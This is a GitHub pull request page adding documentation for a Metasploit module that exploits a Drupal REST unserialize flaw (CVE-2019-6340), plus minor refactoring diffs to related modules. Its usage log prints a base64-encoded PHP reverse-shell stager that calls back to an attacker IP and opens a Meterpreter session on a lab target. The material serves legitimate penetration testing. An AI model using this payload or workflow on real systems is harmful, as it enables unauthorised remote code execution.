Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Drupal SA-CORE-2019-003 (CVE-2019-6340) #11481

Merged
merged 22 commits into from
Mar 6, 2019
Merged
Show file tree
Hide file tree
Changes from 18 commits
Commits
Show all changes
22 commits
Select commit Hold shift + click to select a range
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,68 @@
## Intro

This module exploits a PHP `unserialize()` vulnerability in Drupal RESTful
Web Services by sending a crafted request to the `/node` REST endpoint.

As per [SA-CORE-2019-003], the initial remediation was to disable `POST`,
`PATCH`, and `PUT`, but Ambionics [discovered] that `GET` was also vulnerable
(albeit cached).

Drupal updated [SA-CORE-2019-003] with [PSA-2019-02-22] to notify users of
this alternate vector.

[SA-CORE-2019-003]: https://www.drupal.org/sa-core-2019-003
[PSA-2019-02-22]: https://www.drupal.org/psa-2019-02-22
[discovered]: https://www.ambionics.io/blog/drupal8-rce

Drupal < 8.5.11 and < 8.6.10 are vulnerable.

## Setup

`docker run -dp 80:80 drupal:8.6.9` and enable the HAL, HTTP Basic
Authentication, RESTful Web Services, and Serialization modules at
`/admin/modules`.

Clear all caches at `/admin/config/development/performance` to repeat
exploitation if targeted nodes are cached.

## Targets

```
Id Name
-- ----
0 PHP In-Memory
1 Unix In-Memory
```

## Options

**METHOD**

Set this to the HTTP method to use. `POST` and `GET` (cached) are known
to work.

**NODE**

Set this to a node ID on the target when using the `GET` method.

## Usage

```
msf5 exploit(unix/webapp/drupal_restws_unserialize) > run

[*] Started reverse TCP handler on 192.168.1.2:4444
[*] Drupal 8 targeted at http://127.0.0.1/
[!] CHANGELOG.txt no longer contains patch level
[*] Executing with system(): php -r 'eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE5Mi4xNjguMS4yJzsgJHBvcnQgPSA0NDQ0OyBpZiAoKCRmID0gJ3N0cmVhbV9zb2NrZXRfY2xpZW50JykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoInRjcDovL3skaXB9OnskcG9ydH0iKTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ2Zzb2Nrb3BlbicpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCRpcCwgJHBvcnQpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYgPSAnc29ja2V0X2NyZWF0ZScpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBTT0xfVENQKTsgJHJlcyA9IEBzb2NrZXRfY29ubmVjdCgkcywgJGlwLCAkcG9ydCk7IGlmICghJHJlcykgeyBkaWUoKTsgfSAkc190eXBlID0gJ3NvY2tldCc7IH0gaWYgKCEkc190eXBlKSB7IGRpZSgnbm8gc29ja2V0IGZ1bmNzJyk7IH0gaWYgKCEkcykgeyBkaWUoJ25vIHNvY2tldCcpOyB9IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkbGVuID0gZnJlYWQoJHMsIDQpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGxlbiA9IHNvY2tldF9yZWFkKCRzLCA0KTsgYnJlYWs7IH0gaWYgKCEkbGVuKSB7IGRpZSgpOyB9ICRhID0gdW5wYWNrKCJO.bGVuIiwgJGxlbik7ICRsZW4gPSAkYVsnbGVuJ107ICRiID0gJyc7IHdoaWxlIChzdHJsZW4oJGIpIDwgJGxlbikgeyBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGIgLj0gZnJlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkYiAuPSBzb2NrZXRfcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7IH0gfSAkR0xPQkFMU1snbXNnc29jayddID0gJHM7ICRHTE9CQUxTWydtc2dzb2NrX3R5cGUnXSA9ICRzX3R5cGU7IGlmIChleHRlbnNpb25fbG9hZGVkKCdzdWhvc2luJykgJiYgaW5pX2dldCgnc3Vob3Npbi5leGVjdXRvci5kaXNhYmxlX2V2YWwnKSkgeyAkc3Vob3Npbl9ieXBhc3M9Y3JlYXRlX2Z1bmN0aW9uKCcnLCAkYik7ICRzdWhvc2luX2J5cGFzcygpOyB9IGVsc2UgeyBldmFsKCRiKTsgfSBkaWUoKTs));'
[*] Sending POST to /node with link http://127.0.0.1/rest/type/shortcut/default
[*] Sending stage (38247 bytes) to 192.168.1.2
[*] Meterpreter session 1 opened (192.168.1.2:4444 -> 192.168.1.2:54783) at 2019-03-05 17:13:24 -0600

meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer : 11f5c33da9ec
OS : Linux 11f5c33da9ec 4.9.93-linuxkit-aufs #1 SMP Wed Jun 6 16:55:56 UTC 2018 x86_64
Meterpreter : php/linux
meterpreter >
```
16 changes: 9 additions & 7 deletions lib/msf/core/constants.rb
Original file line number Diff line number Diff line change
Expand Up @@ -75,19 +75,19 @@ module Msf
#

# Modules leaves payload or a dropper on the target machine
ARTIFACTS_ON_DISK = 'artifacts-on-disk'
ARTIFACTS_ON_DISK = 'artifacts-on-disk'
# Module modifies some config file on the target machine
CONFIG_CHANGES = 'config-changes'
CONFIG_CHANGES = 'config-changes'
# Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log)
IOC_IN_LOGS = 'ioc-in-logs'
IOC_IN_LOGS = 'ioc-in-logs'
# Module may cause account lockouts (likely due to brute-forcing)
ACCOUNT_LOCKOUTS = 'account-lockouts'
ACCOUNT_LOCKOUTS = 'account-lockouts'
# Module may show something on the screen (Example: a window pops up)
SCREEN_EFFECTS = 'screen-effects'
SCREEN_EFFECTS = 'screen-effects'
# Module may cause a noise (Examples: audio output from the speakers or hardware beeps)
AUDIO_EFFECTS = 'audio-effects'
AUDIO_EFFECTS = 'audio-effects'
# Module may produce physical effects (Examples: the device makes movement or flashes LEDs)
PHYSICAL_EFFECTS = 'physical-effects'
PHYSICAL_EFFECTS = 'physical-effects'

#
# Reliability
Expand All @@ -97,6 +97,8 @@ module Msf
FIRST_ATTEMPT_FAIL = 'first-attempt-fail'
# The module is expected to get a shell every time it fires
REPEATABLE_SESSION = 'repeatable-session'
# The module isn't expected to get a shell reliably (such as only once)
UNRELIABLE_SESSION = 'unreliable-session'

module HttpClients
IE = "MSIE"
Expand Down
2 changes: 1 addition & 1 deletion modules/auxiliary/scanner/ssh/libssh_auth_bypass.rb
Original file line number Diff line number Diff line change
Expand Up @@ -63,7 +63,7 @@ def check_banner(ip, version)
if v.nil?
vprint_error("#{ip}:#{rport} - #{version} does not appear to be libssh")
Exploit::CheckCode::Unknown
elsif v == Gem::Version.new('')
elsif v.to_s.empty?
vprint_warning("#{ip}:#{rport} - libssh version not reported")
Exploit::CheckCode::Detected
elsif v.between?(Gem::Version.new('0.6.0'), Gem::Version.new('0.7.5')) ||
Expand Down
14 changes: 7 additions & 7 deletions modules/exploits/unix/webapp/drupal_drupalgeddon2.rb
Original file line number Diff line number Diff line change
Expand Up @@ -122,7 +122,7 @@ def initialize(info = {})
]
],
'DefaultTarget' => 0, # Automatic (PHP In-Memory)
'DefaultOptions' => {'WfsDelay' => 2}, # Wait between and after attempts
'DefaultOptions' => {'WfsDelay' => 2}, # Also seconds between attempts
'Notes' => {'AKA' => ['SA-CORE-2018-002', 'Drupalgeddon 2']}
))

Expand All @@ -143,22 +143,22 @@ def check
@version = target['Version'] || drupal_version

if @version
print_status("Drupal #{@version} targeted at #{full_uri}")
vprint_status("Drupal #{@version} targeted at #{full_uri}")
checkcode = CheckCode::Detected
else
print_error('Could not determine Drupal version to target')
vprint_error('Could not determine Drupal version to target')
return CheckCode::Unknown
end

changelog = drupal_changelog(@version)

if changelog && changelog.include?('SA-CORE-2018-002')
print_warning('Drupal appears patched in CHANGELOG.txt')
vprint_warning('Drupal appears patched in CHANGELOG.txt')
elsif changelog
print_good('Drupal appears unpatched in CHANGELOG.txt')
vprint_good('Drupal appears unpatched in CHANGELOG.txt')
checkcode = CheckCode::Appears
else
print_error('Could not determine Drupal patch level')
vprint_error('Could not determine Drupal patch level')
end

token = rand_str
Expand All @@ -172,7 +172,7 @@ def check
end

def exploit
if check == CheckCode::Safe && datastore['ForceExploit'] == false
if check == CheckCode::Safe && !datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end

Expand Down
Loading